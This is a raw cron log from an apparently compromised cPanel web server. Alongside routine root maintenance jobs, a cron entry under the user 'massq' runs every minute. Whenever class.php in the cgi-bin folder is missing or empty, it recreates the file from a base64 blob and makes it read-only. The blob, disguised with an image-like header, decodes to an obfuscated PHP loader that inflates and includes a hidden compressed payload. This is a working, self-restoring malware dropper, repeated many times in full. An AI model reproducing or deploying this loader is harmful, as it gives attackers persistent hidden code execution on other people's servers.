Nov 13 16:15:01 server CROND[3249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:16:01 server CROND[3588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:17:01 server CROND[4437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:18:01 server CROND[5294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:19:01 server CROND[6167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:20:01 server CROND[7013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:20:01 server CROND[7014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:20:01 server CROND[7017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 16:20:01 server CROND[7018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:20:01 server CROND[7019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 16:21:01 server CROND[8013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:22:01 server CROND[8838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:23:01 server CROND[9450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:24:01 server CROND[10321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:25:01 server CROND[11218]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:25:01 server CROND[11220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:25:01 server CROND[11221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:25:01 server CROND[11222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:26:01 server CROND[12233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:27:01 server CROND[13100]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:27:01 server CROND[13101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
